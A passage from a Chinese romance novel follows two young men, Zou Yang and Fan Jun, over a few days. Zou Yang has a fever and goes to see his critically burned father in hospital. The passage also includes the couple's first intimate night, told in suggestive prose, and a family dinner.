“刘文瑞给我妈打电话然后我妈找物业让人帮你开的门,”邹飏靠在电梯里,这会儿才算理清了这个顺序,“你怎么不直接给我妈说啊?” “前面就已经打过电话给她了,她说你睡觉呢,”樊均说,“我老觉得你出事儿了冲过来再跟她说,她吓着了怎么办,刘文瑞说他去说,我以为他有什么新招,结果还是一样……” “怎么会吓着我妈,”邹飏笑了笑,“她只会觉得……” 说到一半突然又有点儿尴尬,他跟樊均这个事儿只要扯上了老妈,他就会尴尬,毕竟不是常规的那种情侣。 “什么?”樊均问。 “觉得咱俩感情好。”邹飏很快地说完。 樊均笑了笑。 今天气温有点儿回升,风也不太大,走出楼道的时候带阳光一盖,小凉风一吹,邹飏感觉整个人在清醒和迷糊之间晃荡着。 不过总体还是舒服的,呼吸畅快了不少。 想吃蛋糕,想喝奶茶,总之就是想来点儿甜的。 “去哪儿?”樊均搂住他的肩,“远的话我去骑车。” “就对面街,溜达过去就行。”邹飏打了个呵欠。 对面走过来一个保安,远远冲这边点了点头:“起床了啊?” “嗯。”邹飏应了一声。 樊均搂在他肩上的手迅速藏到了他背后。 “你还真是睡觉睡到什么听不到了啊?”保安笑了。 “太困了。”邹飏又打了个呵欠。 “你同学都懵了,”保安有些感慨,“你是真能睡啊……” 樊均的手又慢慢搭回到了他肩上。 保安走开了之后,邹飏转头看了樊均一眼:“上上下下的,复健呢?” 樊均笑了:“嗯。” “你早上丢下我自己去医院了啊。”邹飏说。 “我丢下……行吧,”樊均看着他,“下次再去医院我拖也会把你拖过去的。” 邹飏笑了笑,没说话。 这条街很热闹,吃东西和闲逛的地方都很多。 邹飏闻到烘焙店的香味时就感觉肚子饿得生疼:“快,就那家。” 午饭时间,这家店人不算多,邹飏站在各种蛋糕面包前犹豫不决,想要把这一柜子全吃了。 最后挑了一块红丝绒,一块拿破仑,还有一块芋泥千层。 “够吗?”樊均低声问,“好小一块儿啊。” “嗯,够了,”邹飏点了点头,“再要一块这个杨枝甘露爆浆,芒果奶油盒子……” “不是说够了吗?”樊均又小声问。 “这些是你的。”邹飏说。 “我吃甜的吃不了那么多。”樊均说。 “正好吃不完的给我,”邹飏指了指另一排的蛋糕,“再来个奥利奥班戟,两杯招牌奶茶,全糖。” “你说的够就是这么个够法啊?”樊均掏出手机准备买单。 “我来,”邹飏晃了晃手机,“昨天就是你请客的了。” “我以为你不记得了呢。”樊均笑了。 “怎么可能。”邹飏点了一下手机。 没亮。 又点了两下。 还是没亮。 邹飏对着黑屏的手机愣了一会儿,转头看着樊均。 樊均把手机伸过去扫了。 “你给我打电话的时候不是还通的吗?”邹飏坐在桌边,不记得自己昨天晚上到底给没给手机充电了。 “可能就是让我打没电的,”樊均把两托盘的蛋糕和奶茶放到桌上,“你先吃着,我看那边有个药店,我去买点儿退烧的药。” “嗯。”邹飏点点头。 现在的感觉也说不上来是难受还是不难受,就是不怎么清醒,头晕。 吃着蛋糕的时候倒是还挺愉快。 他嘬了一口奶茶,这家的奶茶一直是他很喜欢的,最简单的配方,但茶和奶味都很重。 樊均拿着药和一瓶水回到店里的时候,他已经喝掉了半杯。 “吃一颗。”樊均把药放到他面前,拧开了瓶盖。 邹飏摸了一下水瓶子,常温的。 他一边剥药片儿一边忍不住笑了起来。 不过手上有点儿发软,药盒半天都没抠开。 “我来吧。”樊均拿走了药盒,很快地剥出一颗药,塞到了他嘴里。 邹飏喝了两口水,把药吃了,往椅子里一靠:“你下午上班吗?” “你确定不在家睡觉要去上课?”樊均看着他。 “嗯,”邹飏点点头,咬了一大口蛋糕,想想又拍了拍胸口,“我爸的事儿,我得找人说说才舒服,要不都堵在这儿了。” “一会儿我送你去学校。”樊均说。 “下课了你去接我。”邹飏说。 “嗯。”樊均点点头。 “你不生气吗?”邹飏靠着椅背,半仰着头看着他。 “什么?”樊均也看着他。 “这事儿跟你说还不够吗,还得找别人说。”邹飏说。 “不一样的吧,”樊均说,“刘文瑞他们的反应跟我的肯定不一样。” “嗯。”邹飏笑笑。 “我操!”刘文瑞声如洪钟,反应跟樊均的的确不同,宿舍窗户感觉都共振了,喊完一嗓子之后他又压低了声音,“烧死了?” “没,重伤,现在估计还没出监护病房呢。”邹飏靠在床边。 “邹天瑞她妈那么……极端的吗?”李知越皱着眉,“这不亏吗,什么都没了,邹天瑞以后也难了。” “她能当这么多年三儿就说明压根儿没在意过这个女儿怎么想。”刘文瑞啧啧了两声。 “那倒也是。”李知越喝了口水。 “再说了,她本来就一直在亏,知道吧,当了那么多年的小三儿啊,孩子都给他养大了,”刘文瑞一边啧啧着一边说,“好容易熬到名正言顺感觉开始要回本儿了,杀出来一个四儿!这她肯定受不了啊!” “早杀是对的。”张传龙突然说了一句。 “什么?”几个人一块儿看着他。 “万一杀晚了,四儿再弄出个孩子来,以后遗产又得多一个人分,”张传龙说,“不趁早杀了更亏。” “我靠,”刘文瑞看着他,“龙龙,你这脑子真是……东一榔头西一棒子啊。” 张传龙转头看着邹飏:“我就随便说说。” “嗯,”邹飏点点头,“你今天这耳聪目明的状态暂时不用退学了。” “你爸那边儿亲戚什么的都什么反应啊?”李知越问,“找你了吗?” “找我妈了,估计想让她过去照顾着点儿,”邹飏啧了一声,“当初离婚的时候,一个个说的话,我都还记着呢。” “你们不知道,他爸那边儿的亲戚都不是什么好玩意儿,真要是他爸死了,”刘文瑞说,“你们看着吧,邹飏想拿遗产都不是那么容易的。” “我不要。”邹飏皱皱眉。 “那还是得要的。”几个人同时开口。 “操。”邹飏听笑了,闭上眼睛叹了口气。 “听我们的,钱,该要的一分不能少,”刘文瑞坐到他床边的凳子上,语重心长,“你和你爸感情也就那么回事儿了,有感情钱才是第二位的,没有感情,钱就是第一位。” “……嗯。”邹飏看着他。 “你这……烧得不轻吧?”刘文瑞盯着他的脸,“眼睛都是红的。” “我吃了退烧药了,这会儿估计都已经退烧了,”邹飏摘掉眼镜,揉了揉眼睛,“就是困的。” “咱们不是有个额温枪吗?”李知越说,“量一下看看。” 刘文瑞翻了半天,从抽屉里翻出了还有最后一格电的额温枪,对着邹飏脑门儿哔了一下。 “三十八啊,也没退啊。”他说。 “一会儿就退了。”邹飏摸了摸自己的脸,“现在也没感觉难受。” “你这……”刘文瑞叹了口气,“其实吧,你爸这个事儿……” 邹飏看着他。 刘文瑞半张着嘴,似乎是在思考。 但好半天都没有思考出下一句来,最后他以又一个叹气结束了这次短暂的安慰活动。 邹飏没忍住笑了起来。 “其实我觉得吧,”李知越说,“没准儿是从去年那个事儿就一直憋到现在了,他一直也没大爆发过,情绪一直憋着呢,憋猛了就这样了。” “有道理。”刘文瑞拍拍邹飏的肩膀,又看了一眼手机,“一会儿你也别去上课了,宿舍睡一会儿吧,我们下课了陪你去……” “下课了樊均来接我。”邹飏说。 “去你大爷的。”刘文瑞站了起来,指着他退到李知越床边,“是不是没良心!是不是没良心!” “有男朋友的人要什么良心。”李知越笑着说。 “走!”刘文瑞说,“把他扔在这儿!让他尝尝被朋友抛弃的滋味儿!” “下课了给我带个冰淇淋吧。”邹飏说。 “你想得美!”刘文瑞说,“想得美!tui!” “什么味儿的?”张传龙问。 “张传龙你怎么回事儿!”刘文瑞怒斥。 “啊?”张传龙看着他,“他不是要冰淇淋吗?食堂那儿有四个口味呢。” “……走,”刘文瑞吸了口气,“上课去。” 下午店里人不太多,但来了两个老客户,接待起来比新客更累。 “这椅子帮我们修一修没问题吧,上回买的那个箱子也是帮修了的。”客户看着面前的一张主人椅。 “可以的。”樊均点头,手机在兜里响了一声,小白立马伸过脑袋来在他口袋上用鼻子顶了一下。 “不能用铁钉哦,”客户又强调,“也不要换我的料哦。” “嗯,如果没办法必须要换,会提前跟您说的,换下来的料也会给你。”樊均拿出手机。 “最好不要换的啦,我看着都还挺好的,修一下就行的。”客户说。 【邹yang】下课了,跟他们聊会等你过来 【樊】好 “嗯,行。”樊均点头。 客户还说了点儿什么,樊均都点头答应了。 椅子没什么问题,真有什么过分的要求,他答应了反正也不算,到时何川跟人一句“他就一个打工的他懂什么修复啊您为什么不跟我沟通呢”就能解决了。 再不行还可以“他已经被我辞退了”。 何川大概还有二十分钟会到店里,樊均把小白带到后院拴好,关上店门,在门上挂上“有事外出”的牌子,骑着车去了邹飏他们学校。 到学校的时候,邹飏和刘文瑞他们几个已经在门口站着了。 “怎么不等我电话?”樊均问。 “出来买吃的,懒得回宿舍了。”邹飏笑笑。 “还烧着啊,”刘文瑞指着邹飏,“差不多三十八度,退了点儿又烧起来了。” “嗯,知道了。”樊均点点头。 “哎,”邹飏叹了口气,跨到他身后坐下了,“没事儿。” “走了啊。”樊均说。 “走吧走吧。”刘文瑞一边摆手一边摇头。 车在路口转了弯之后,邹飏的手从身后伸过来搂住了他的腰,人也贴到了他背上靠着。 樊均摸了摸他的手,烫的:“你这烧也没退啊。” “睡一觉就好了,”邹飏枕在他肩膀上,声音有丝沙哑,“明天不退就去社区诊所打个针。” 樊均叹了口气,没说话。 邹飏这会儿没什么胃口,晚饭暂时也不吃了,打算改成宵夜。 他俩直接回了家。 一进屋,大黑就凑了过来,在鞋柜上扒着邹飏的袖子站得笔直,伸鼻子在他脸上闻着。 “你怎么像个狗,”邹飏摸摸它的脑袋,“跟小白学的吗?” “知道你病了。”樊均兜着大黑的肚子,把它扔到沙发上。 邹飏脱了外套,伸了个懒腰,在樊均转身走过来的时候搂住了他,手往他脑袋后头一兜,吻了上去。 樊均顿了顿,也很快地抱住他,胳膊狠狠地收紧。 邹飏有点儿晕,闭上眼睛之后更是晕得厉害,吻了没几秒,他整个人就有点儿往后仰,樊均被他带了两步才站稳。 “去床上。”他在樊均耳边低声说。 “……什么?”樊均声音透着迟疑。 “你想站着……”邹飏声音还是很低,“做吗?” 樊均呼吸明显有一瞬间的急促,但还是控制住声音问了一句:“邹飏?” “但是我有点儿晕,”邹飏说,“可能不太好配合……” 樊均没了声音。 两秒钟之后他揽在邹飏腰上的胳膊猛地收紧,一把推开卧室的门,半拖半抱地把邹飏抡到了床上。 “靠,”邹飏在床垫上弹了一下,笑着抬手捂了捂眼睛,“晕。” 樊均还是没说话,但听能到衣服的窸窣声。 他睁开眼睛的时候,樊均已经脱掉了上衣。 他第一眼看到的是胸口上没有纱布遮挡了的伤口,接着是锁骨,再往下,一路扫到了有些松垮地挂在胯上的裤腰。 他向樊均伸出胳膊。 樊均走到床边。 他手指勾住了裤腰,往下拽了拽。 “邹飏,”樊均一把抓住了他的手腕,低头看着他,“你确定吗?” 邹飏没出声,说实话,他挺晕的,而且能感觉得到自己有点儿发虚,勾在樊均裤腰上的手指都没什么劲儿。 但是…… “我要不确定,”他松了松劲,手指从裤腰边滑下,顺着小腹向下划过,落在床垫上,“你还能停吗?” 樊均没说话,盯着他轻轻吸了一口气。 接着一条腿跪到床上,手撑在了他头边,盯着他定定地看着。 然后低头在他鼻尖上亲了亲,再往上,叼住了他眼镜中梁,把眼镜扯了下来…… 视线有些模糊,呼吸跟着也有些模糊。 樊均抓着他双手手腕,压到头顶,接着拽着他卫衣下摆向上一掀。 邹飏还没反应过来,衣服已经顺着胳膊被脱掉了。 扬起的衣服卷起的风轻轻从身上扫过,带起细细的一层颤栗,他仰了仰头。 樊均俯身吻在他颈侧。 微微有些发凉的鼻尖轻轻蹭过,很短暂的一个停顿之后,猛地一口咬在了他肩窝里,吻和撕咬交错着从颈侧到咽喉。 眩晕里有细微的疼痛带来的一丝清醒,稍纵即逝。 樊均的手往下,狠狠地抚过腰侧往下,掠过小腹往下…… 第93章 邹飏的烧还没退,樊均掌心所及的每一寸皮肤都是烫的,紊乱的呼吸都带着灼热,迅速烧穿了他最后的一丝犹豫。 这是跟平时完全不同的触感。 他落在邹飏身上的每一次微小触碰,都像是往燃烧着的火焰里添了一把柴。 唇边,齿间。 每一口都咬得很实。 带着一丝隐藏在亢奋之下的罪恶感,邹飏咽喉往下,起伏着的皮肤上留下一串红色烙印…… 他一路吻回邹飏颈边,停留在皮肤下跳动着的脉搏上。 右耳贴近邹飏的呼吸,他闭上眼睛,有些贪婪地细细品味。 或低沉或急促,随着他的节奏变化而起伏。 偶尔会带出一声沙哑的轻叹。 像湖面上的小小落叶,轻轻一点,荡出的涟漪却一圈圈漾向身体最深处。 “你在……”邹飏沙哑的声音从喘息的间隙中低低传出,尾音被他带出微微轻颤,“听吗?” 这声音如同带着火,穿透耳膜,烧进血里,被沸腾的心跳泵向全身。 “嗯。”樊均应了一声。 邹飏的胳膊绕到他肩后,慢慢收拢。 一分分贴近,一寸寸绷紧…… 樊均微微偏过头,唇在他肘窝轻轻蹭了蹭。 接着拉开了他的胳膊,缓缓直起身,吻一直轻点到手腕内侧。 暖暖的呼吸离开时,邹飏感觉到了一丝带着空虚的凉意。 他伸手往樊均的方向摸了摸,指尖从他胸口划过。 “我冷……” 樊均没有出声,只是掌心又贴回了他身侧,从腰,到腿,缓缓下行…… 一个吻落在了他脚踝上。 从未有过的触感,像一颗小小的被炸开的烟花,火星顺着神经向上迸裂,呼吸都被炸得有一瞬间的暂停。 他听到自己很轻的一声叹息。 樊均拉开了床头柜的抽屉。 他能在自己的心跳里听清樊均的每一个动作,撕开包装袋,拧开盖子…… 微凉过后是樊均扑到他脸上的呼吸,和几乎掐进他腰间的手指。 他本能地弓了一下身体,想要逃避,但却被樊均扳住了肩。 “放松。” “我……”邹飏不知道自己想说什么,意识在混沌与清醒之间摇摆。 下一秒樊均的手掌捂住了他没有说完的话。 他的喘息也被一同暂停。 疼痛仿佛助燃剂。 心底深处的渴望点燃了血液,烧透了神经,火焰像是在皮肤上跳跃,所到之处,都被沉沦吞噬。 …… “邹飏……”樊均的声音从耳边的混乱喘息中传来。 “嗯?”邹飏低声应着,带着微微的颤音。 樊均咬住他的耳垂:“叫我。” “樊均。”邹飏指尖深深嵌进他肩胛之间。 “再叫。”樊均低头咬住他的肩,舌尖触到一片滚烫。 “均儿……”邹飏声音逐渐低下去,只剩下颤抖的气息。 “再叫。”樊均把右耳贴到他唇边。 “……哥哥。” 樊均没有再说话。 所有情绪都宣泄在这无声的纠缠中…… 窗外的天已经黑了,亮起的路灯的光映亮了卧室天花板。 邹飏一动不动地躺着,看着淡淡的光晕不断慢慢旋转着向外扩散。 耳朵里的嗡响好几分钟了都还没有消散。 “要开灯吗?”樊均侧身搂住他,鼻尖在他耳朵尖儿上蹭了蹭。 “不,”邹飏闭了闭眼睛,“你没看过瘾吗?” 樊均笑了笑没说话。 “我好饿啊。”邹飏低声说。 “想吃什么?”樊均问,“我点外卖。” “不知道,”邹飏说,“咸的都行。” “好,”樊均伸手拿过手机,还是搂着他,在他脸旁边点着屏幕,“吃面吧,小份儿的卤肉面。” “为什么是小份儿?”邹飏问。 “因为你中午吃了吕泽追杀饭,”樊均说,“这么晚了其实都不应该让你再吃碳水了……” “知道了樊教练。”邹飏说。 点好餐,樊均把手机扔到一边,在他肩窝里蹭了蹭:“洗澡吗?” “嗯。”邹飏睁开眼睛。 “我抱……”樊均坐了起来。 “不,不不不,”邹飏跟着也坐了起来,“我自己能走。” 但很快发现自己还是晕得厉害,顺着晕劲儿又倒回了床上。 “我不是那个意思,”樊均笑了,“你不是发烧头晕么。” “我好像……我感觉……”邹飏转过头看着他,“不烧了?” 樊均兜着他后脑勺,凑过去在他脑门儿上亲了亲,感受了一下温度:“好像是没刚才……” 他顿了两秒,清了清嗓子:“那么烫了。” 邹飏看着他,眯缝了一下眼睛,声音还有些带着鼻音的沙哑:“你想什么呢?” “我这会儿……”樊均又清了清嗓子,“还能想什么呢?” 邹飏没说话,过了一会儿笑了:“靠。” “我拖你过去洗澡?”樊均搂紧他,“你要现在不想洗就盖上点儿,别再因为着凉……” “洗,”邹飏说,“我开始能感觉热了,肯定是退烧了。” “那走吧。”樊均把他从床上拽了起来,从身后搂着他,半推半架着进了浴室。 热水从喷头里洒出来,邹飏伸手试了试水温:“再热点儿。” “不够?”樊均也伸手试了试。 “我冷。”邹飏嗓子还是有点儿哑,带着让人心底微微一颤的性感。 “刚还说能感觉热了……”樊均把水温调高了。 正想退出浴室的时候,邹飏撑着墙,偏了偏头:“一块儿。” “……好。”樊均回手关上了浴室门。 这是个单人的整体浴室,空间很小,两个人挤在里头基本就是贴着。 邹飏拽着他转了半圈,把他压到了墙边,靠了过来。 花洒里的水从头顶落下,像一场灼热的雨,水顺着邹飏的身体再漫到他身上。 这一瞬间他扶着邹飏腰的手微微收紧了一些,忍不住回味起被他搂紧的,和包裹住他的……属于邹飏的温度。 邹飏贴在他耳边长长地舒出了一口气。 “累吗?”他轻声问。 “爽吗?”邹飏问。 樊均停了停,笑了起来:“怎么……都是你问这句?” “那你问。”邹飏用下巴勾着他的肩,半靠半挂地贴着他。 “……爽吗?”樊均只得问了一句。 “挺爽的,”邹飏笑了笑,但又很快啧了一声,“但也……疼的。” “嗯。”樊均揉了揉他的头发。 “我喘不上气儿。”邹飏说着吸了口气。 樊均手上的动作停了,瞬间回到了十几分钟之前,邹飏急促混乱的呼吸裹着水声从记忆里冲到了他耳边。 他搂紧邹飏,低头咬住了他肩膀。 “你大爷……”邹飏叹了口气,“我说现在。” ……哦。 现在。 樊均咬过瘾了才松了口,伸手把浴室门推开了一条小缝儿。 水雾迅速散去。 邹飏摸了摸自己肩膀,又撑着墙低头看了看自己从胸口到小腹的一溜红印:“你是不是故意的,我就咬了你一口,你差点儿把我撕了啊……” “也没有那么好的牙口。”樊均低声说。 “印儿都立体的。”邹飏摸了摸腰上的一个牙印,“鼓起来的我靠。” “我没用太大劲儿,”樊均摸了摸自己肩膀,之前邹飏咬的那个小坑现在还能隐约摸到,“是你比较……敏感。” “嗯?”邹飏看着他。 “皮肤敏感,”樊均说,“那种划一道就会又红又肿的。” “屁,”邹飏低头冲着水,“就是你咬得狠。” “是,”樊均偏过脸在他耳边蹭了蹭,“就是想把你撕了吃了,连骨头带肉啃干净。” “靠。”邹飏甩了甩水。 这个澡洗出了樊均此生中洗澡用时最长的记录。 生生陪着邹飏在热水底下边冲边聊磨叽了半个多小时。 手指头都起皱了。 多亏现在晚了,外卖送得慢,要不他中间还得光着屁股出来拿外卖。 邹飏往他整理好的床上一扑,拉长了声音:“啊——” “疼啊?”樊均转头看着他,有点儿不放心。 刚的确挺……不管不顾的,邹飏几次下意识想挣脱都被他强行按住了。 “哎,”邹飏偏过头看着他,“对自己这么没信心吗?” “这能怎么有信心,”樊均趴到他旁边,也偏头看着他,“我又没经验。” “你有我的经验啊。”邹飏说。 “……是这么算的吗?”樊均问。 “嗯。”邹飏点头。 “邹飏,”樊均犹豫了一下,又凑近了一些,声音很低,“你会不会……觉得我……我太……” “野蛮吗?”邹飏问。 “……嗯。”樊均突然有点儿不好意思直视邹飏。 “不会,”邹飏说,“我喜欢,我变态。” 樊均一时之间不知道该说什么了。 “不野蛮也喜欢,”邹飏又说,“毕竟我也不是时时刻刻都变态。” 樊均没忍住笑了起来。 “邹飏。”他用手指在邹飏脸上轻轻勾着。 “什么事儿哥哥。”邹飏说。 樊均的手指定了定。 “你是不是喜欢别人叫你哥。”邹飏问。 “不是,那么多人叫我哥呢,”樊均想了想,“就你这么叫……就……” “嗯?”邹飏勾了勾嘴角。 “很刺激。”樊均说。 手机和门突然同时响起来的时候也是相当刺激的。 邹飏拉过被子盖上了。 樊均几乎是从床上直接起跳站在了床边。 “外卖。”他拿过手机看了一眼。 “你们商贸城这边儿的外卖是这种风格的吗?”邹飏有些无语。 樊均套上了睡觉,过去开门拿了外卖。 “不好意思有点儿急马上超时了……”小哥话没说完就已经消失在了电梯里。 “谢谢,”樊均关上门,从外卖袋子里拿出餐盒,“你是在床上吃还是坐这儿吃?” “来了,”邹飏一边穿衣服一边走了出来,“我要说在床上吃,你会杀了我吗?” “让你收拾完床再杀。”樊均说。 面还行,因为卤和面是分开放的,所以时间长点儿也不算坨。 加上实在太饿了,邹飏埋头一通吃,感觉很香。 “头还晕吗?”樊均问。 “嗯?”邹飏愣了愣,停下体会了几秒,又晃了晃脑袋,“好像……不晕了。” “我看你吃东西这样子就像是不晕了。”樊均笑了笑。 “干到病除樊大夫。”邹飏边吃边说了一句。 樊均愣了愣,过了一会儿猛地呛了一下,起身到浴室里咳了半天才出来。 “你可能还没好透,”他坐回桌子旁边,“我真服了,你发烧是不是专烧脑子……” “得手了就开始嫌弃了。”邹飏啧了一声。 “……赶紧吃吧。”樊均叹了口气。 第二天是见习日。 邹飏从没见过这么手忙脚乱的樊均。 昨天晚上他往床上一倒就睡着了,甚至没来得及再跟樊均聊一会儿,樊均什么时候睡着的他不知道,但他知道樊均起晚了。 不仅没有早餐,今天早上狗都没时间遛。 樊均只能把打死不在家里上厕所的小白先带到门口,兜了个塑料袋,劝了两分钟,说先拉完,一会儿小飏哥哥走了再带它出去。 “其实我可以自己过去的,”邹飏说。 “马上早高峰了,我怕你打车来不及,”樊均说着拿过邹飏扔在沙发上的书包,“我骑小电动送你快一些。” “我自己也能骑啊。”邹飏说。 “我怕你……昨天……”樊均往门口走,“不舒服。” 其实还好,没有什么太不舒服的。 不过樊均上班还早,能送他去七中当然是最好的。 邹飏靠在他背后,拿着手机跟刘文瑞发消息。 【邹yang】帮我带份早餐 瑞思拜回了一张他手里抓着三个小笼包的照片。 【邹yang】行,还要瓶喝的 瑞思拜又发了一张手里拿着瓶豆奶的照片。 【邹yang】不想喝豆奶 【瑞思拜】A豆奶 B屎 【邹yang】A 【瑞思拜】买好了,办公室等你 快到学校的时候,手机响了,老妈打来的电话。 “妈?”他接起电话,脑门儿顶着樊均后背躲风。 “你今天见习的吗?”老妈问。 “嗯,正过去呢,怎么了?”邹飏问。 “中午……不,下午吧,或者看你的时间,”老妈说,“你爸那边下了两次病危……可能不是太好,你看要不要去一趟啊?” 对于老爸的情况,他其实不是特别意外,那个程度的烧伤,就像刘文瑞昨天的第一反应就是会烧死,这就是奔着活不成去的。 他轻轻叹了口气:“我中午去看看,时间也够,监护室探视也就那么点儿时间。” “看看就走,别跟你那些姑啊叔的多说。”老妈说。 “怕我跟他们吵啊?”邹飏笑笑。 “我才不怕,”老妈说,“我是怕他们吵不过会打你,人那么多,你就一个人。” “想什么呢,”邹飏啧了一声,“我不会跑吗?” “要我陪你过去吗?”樊均问。 “不用,你上你的班,”邹飏说,“何老板也不是不给工资,别总往外跑。” 樊均笑了:“那也别一个人去吧,叫刘文瑞他们陪你,感觉现在你爸那边儿一个个都绷着呢。” “嗯,中午反正要跟他们吃饭,就叫上他们一块儿吧。”邹飏说。 宿舍这几位,对这种事儿那向来都是很热情响应的。 “赶紧吃吧,”刘文瑞靠在走廊栏杆边,“中午没准儿一场恶战。” “战什么,”邹飏扫了他一眼,“你还想打我爸亲戚啊?” “不行吗?”刘文瑞说,“你打我表弟的时候我拦着你了吗?” “那你这真是十年报仇了啊。”邹飏笑了。 “还不知道那边儿什么情况呢,”刘文瑞小声说,“刚跟周师兄聊班里的情况,邹天瑞请了一个月的假。” “她家里突然这情况,”邹飏吃了口包子,“别说请一个月假,休学都不奇怪了,她跟我爸感情还挺好的。” 刘文瑞叹了口气。 中午放了学,几个人也没耽误,直接打车一块儿去了医院。 探视时间只有半小时,同时进去的不能超过两个人,消毒完了还得换上隔离装备…… 刘文瑞陪着邹飏一块儿进的病房。 邹飏站在堆满了各种仪器的病床边,老爸全身除了头,几乎都是纱布,露出来的部分炭黑色里带着粉白的肉,床边的管子里也都是带血的泡沫…… 他看着几乎认不出来了的老爸,叫了一声“爸”之后就说不出来什么别的话了。 “叔叔,”刘文瑞在旁边开了口,“邹飏来看看你。” 老爸的手动了动。 邹飏往前走近,用戴着手套的手在老爸的手指上轻轻碰了一下。 老爸的眼睛一直看向他的方向,但没有焦点,不清楚到底能不能看到他。 在病房里没有待太长时间,邹飏虽然跟老爸这些年已经没什么感情,但哪怕只是个陌生人,这副模样看着也不好受。 出病房的时候邹飏看到了邹天瑞,也就两天没见,她瘦了一大圈,头发也乱蓬蓬的,坐在走廊尽头的椅子上出神。 “小飏啊。”二姑父走了过来,这也是老爸这边他唯一还愿意耐着性子说上几句的人了,“现在你爸这个情况,估计是……医生说现在他也是极度痛苦的……” 邹飏没出声。 二姑父回头往走廊窗边看了一眼:“他们公司的人也过来了,他的律师今天也来过……你爸爸是有遗嘱的,具体情况还不清楚……” “嗯。”邹飏应了一声。 “到时有什么……律师会通知你的。”二姑父说。 “嗯,”邹飏点了点头,“那我先走了,我下午还要上课。” 出了医院大门,刘文瑞他们几个商量去哪儿吃点儿东西的时候,邹飏一直看着路上来来往往的车和行人。 说不上来什么感觉,最初的惊惧已经过去,现在他没有很难过,也没有什么渣男终于遭了报应的快感,只觉得很不真实,有些感慨。 就好像漫长的人生里,有那么一页说重要也重要,说无所谓也不是太所谓的内容被翻了过去。 他拿出手机,拨了樊均的号码。 樊均几乎是秒接:“怎么样?” “情况不好,可能不行了,”邹飏说,“我没事儿。” “嗯。”樊均应了一声。 “晚上回南舟坪吃个饭吧。”邹飏说。 第94章 从七中“下班”的时候,邹飏走出校门,到平时樊均停车接他的地方,看了半天都没看到何川那辆破皮卡。 “还没到?”刘文瑞问。 “没到?”张传龙耳朵里塞着耳机不知道在听什么,“要去接他吗?” “龙龙别说话。”李知越说。 “刚跟我说到了。”邹飏拿出手机。 正想打个电话,身后有人吹了声口哨。 轻浮! 邹飏转过头。 樊均拿着个兜从旁边超市里走了出来,冲他勾了勾嘴角。 “樊哥。”几个人跟他打了个招呼。 “送你们回学校?”樊均问。 “对,”刘文瑞看了看四周,“车停哪儿了?” “今天开了个稍微好点儿的车……”樊均从兜里掏出车钥匙按了一下,路边一辆暗紫色的宝马闪了闪灯。 “哪儿来的?”邹飏愣了愣,“你买车了?” “想什么呢,何川上月买的,一直停在购物广场那边,”樊均笑笑,“昨天晚上开到商贸城来了。” “这车可以啊,”张传龙说,“多少钱啊?” “具体不清楚,全弄完了四十万?”樊均说。 “那我家肯定不能同意给我买这个。”张传龙说。 “废话,”李知越说,“一毕业先赔进去四十万,谁干啊这买卖。” 话是这么说,几个人还是围着车开始研究。 “新车借你开出来啊?”邹飏小声问。 “我说开皮卡,”樊均也小声说,“他一会儿要给人送两块石板过去,让我开这个了。” “何川这个人吧,”邹飏说,“说奸商也奸商,说够意思也挺够意思的。” “嗯。”樊均笑笑。 邹飏想想又啧了一声:“主要是有事儿你也真上。” 绕了点儿路把几个人送回学校,樊均开着车往南舟坪去。 还点开了导航。 “怎么,”邹飏说,“这才从南舟坪出来多久啊,就不认识路了?” “没,”樊均笑笑,“好玩。” 邹飏看着他没说话。 “怎么了?”樊均问。 “均儿你挺可爱的。”邹飏靠着车门盯着他。 “……哦,”樊均看了他一眼,“医院那边什么情况?” “我看我爸那个样子,撑不了几天了,”邹飏说,“动不了,说不了话,全身没有好地方了,不知道人清不清醒,但也没昏迷……说实话,现在这么活着还不如死了。” “真没事儿吗?”樊均停下车等红灯的时候伸手在他脸上轻轻勾了勾,“我要这时候敢这么说,你会骂人吧。” “反正不会再被刺激到发烧了,”邹飏叹了口气,“就是有点儿说不清的滋味儿,前几天还吵架呢,转头人就成这样了,他那么讲究,那么在意面子的一个人……” 樊均没说话,手指在他耳垂上一下下捏着。 “你刚在超市买什么了?”邹飏问。 “零食什么的,”樊均说,“我跟吕叔说了过去吃饭,他肯定会跟猴儿和孙旭磊那帮小孩儿说,给他们带点儿吃的。” “嗯。”邹飏应了一声。 虽然老妈还在南舟坪,但他感觉有很久没去过这地方了。 南舟坪对于他来说,从陌生到熟悉,从刻骨铭心再到又有那么一点儿陌生,始终是个说不清的感受的地方。 南舟坪在变,旧馆这一片儿,不知道是不是因为要拆迁,看着似乎跟以往没什么区别,但却莫名地透着一种比以前更萧条了的感觉。 车开进了旧馆这条街,看到了旧馆的院门,这种感觉才慢慢淡去。 街道两边还是老样子,那些跟这个街区一样古老的铺面都还是原来的样子,两边的人行道上一过五点就会摆出来的各种菜摊子也还是喧闹中带着自有秩序的模样。 院门开着,樊均直接把车开进了院子里。 吕叔从厨房里探出脑袋,盯着车看着,直到邹飏把车窗放下来,他才笑着回头冲厨房里说了句什么。 “樊哥!”猴儿第一个从厨房里蹿了出来,冲到车旁边,往副驾车门上一扑,把正想下的邹飏拍回了车里。 “飏哥!”他又喊了一嗓子。 “哎。”邹飏应了一声。 “好久不见啊!”猴儿看着他喊了一句。 邹飏有些意外,他跟这几个小孩儿并不熟,除了孙旭磊找他说过几句话,别的小孩儿基本就是见过。 猴儿这句话让他莫名有些感动。 没等他回答,孙旭磊和另外几个小孩儿也挤了过来。 车里顿时挤满了他们的叫喊声。 “起开!”樊均一边熄火一边指着他们,“这不是我的车,别给我划花了!” 一帮小孩儿立马退开了,但又同时绕到了驾驶室那边,夹道欢迎他们敬爱的樊哥下车。 邹飏赶紧下了车,快步走进了厨房。 吕叔和老妈都在厨房里,正忙着做饭。 大概是因为樊均回来,吕泽居然也在,还是老样子,坐在餐桌最那头玩着手机。 听到邹飏进来,他抬头往这边儿看了一眼。 以前他不会看这一眼,就算看了,也就是扫一眼就算完事。 但现在…… 他冲邹飏点了点头,说了一句:“来了。” “嗯。”邹飏应了一声。 这还不如不打招呼了。 “这几天累吧?”老妈走了过来,摸了摸他的脸。 一片菜叶子粘在了他脸上,老妈赶紧捏掉菜叶,又甩了甩手,想想又还是转身去洗了洗手。 “吕叔,”邹飏跟吕叔打了招呼,走到老妈身边,“也不算累,就是早上六点多就得起来了,困得厉害。” “去医院看了你爸了?”老妈一边擦手一边小声问。 “嗯,”邹飏点点头,“不怎么好,他公司的人和律师都去了。” “他这就是自己害自己,”老妈叹了口气,“还害了一堆人……” “他有遗嘱,如果人真的没了,律师会找我,”邹飏低声说,“这阵儿他那边儿的电话你不要接了。” “嗯。”老妈点点头,想想又看着他,“你也……不要再去了,去多了,那边儿又该有想法了,谁也不图他那点儿钱。” 